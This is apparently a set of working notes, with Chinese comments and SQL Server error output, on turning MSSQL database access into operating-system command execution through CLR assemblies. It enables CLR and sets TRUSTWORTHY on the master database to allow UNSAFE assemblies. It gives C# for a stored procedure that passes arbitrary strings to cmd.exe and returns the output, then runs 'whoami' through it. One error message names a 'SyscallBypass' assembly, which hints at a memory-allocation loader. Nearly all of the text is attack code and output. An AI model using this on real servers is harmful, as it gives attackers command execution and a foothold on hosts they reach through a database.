-- 开启高级选项
sp_configure 'show advanced options', 1
RECONFIGURE

-- 开启clr
sp_configure 'clr enabled', 1
RECONFIGURE

GO

using System;  
using System.Data;  
using Microsoft.SqlServer.Server;  
using System.Data.SqlTypes;
using System.Diagnostics;

public class HelloWorldProc
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void HelloWorld()
    {
        Process.Start("calc");
    }
}

csc /target:library C:\helloworld.cs

CREATE ASSEMBLY HelloWorld from 'c:\helloworld.dll' WITH PERMISSION_SET = SAFE;

CREATE PROCEDURE hello
AS
EXTERNAL NAME HelloWorld.HelloWorldProc.HelloWorld

EXEC hello

消息 6522，级别 16，状态 1，过程 hello，第 0 行
在执行用户定义例程或聚合 "hello" 期间出现 .NET Framework 错误: 
System.Security.SecurityException: 请求失败。
System.Security.SecurityException: 
   在 HelloWorldProc.HelloWorld()

drop procedure hello
drop assembly helloworld

ALTER ASSEMBLY [HelloWorld] from 'c:\helloworld.dll' WITH PERMISSION_SET = UNSAFE;

消息 10327，级别 14，状态 1，第 1 行
针对程序集 'MyMSSQL' 的 CREATE ASSEMBLY 失败，因为程序集 'MyMSSQL' 未获授权，不满足 PERMISSION_SET = UNSAFE。满足以下两个条件之一时将给程序集授权: 数据库所有者(DBO)拥有 UNSAFE ASSEMBLY 权限，且数据库具有 TRUSTWORTHY 数据库属性；或者，程序集已使用其对应登录名具有 UNSAFE ASSEMBLY 权限的证书或非对称密钥加以签名。

ALTER DATABASE master SET TRUSTWORTHY ON;

CREATE ASSEMBLY HelloWorld AUTHORIZATION dbo from 'C:\helloworld.dll' WITH PERMISSION_SET = SAFE;

CREATE PROCEDURE hello
AS  
EXTERNAL NAME helloworld.HelloWorldProc.HelloWorld 

EXEC hello

消息 6211，级别 16，状态 1，第 1 行
由于 safe 程序集 'SyscallBypass' 中的类型 'Kernel32' 具有静态字段 'MEM_COMMIT'，CREATE ASSEMBLY 失败。safe 程序集中静态字段的属性在 Visual C# 中必须标记为 readonly，在 Visual Basic 中必须标记为 ReadOnly，或者在 Visual C++ 和中间语言中标记为 initonly。

    public static void cmd2(SqlString command, out string result)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", command.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.StartInfo.RedirectStandardError = true;
        proc.StartInfo.CreateNoWindow = true;
        proc.Start();

        result = proc.StandardOutput.ReadToEnd().ToString();
        result += proc.StandardError.ReadToEnd().ToString();
        proc.WaitForExit();
        proc.Close();
    }

CREATE ASSEMBLY MSSQL from 'C:\MyMSSQL.dll' WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE cmd2 @i nchar(4000), @j nchar(4000) OUTPUT
AS  
EXTERNAL NAME MSSQL.MSSQL.cmd2 

DECLARE @K nchar(4000)
EXEC cmd2 "whoami", @K out
PRINT @K

消息 6522，级别 16，状态 1，过程 cmd2，第 0 行
在执行用户定义例程或聚合 "cmd2" 期间出现 .NET Framework 错误: 
System.Data.SqlServer.TruncationException: 正试图将大小为 14174 个字节的输出参数或返回值转换为 T-SQL 类型，该 T-SQL 类型的大小限制更小，为 8000 个字节。
System.Data.SqlServer.TruncationException: 
   在 System.Data.SqlServer.Internal.CXVariantBase.StringToWSTR(String pstrValue, Int64 cbMaxLength, Int32 iOffset, EPadding ePad)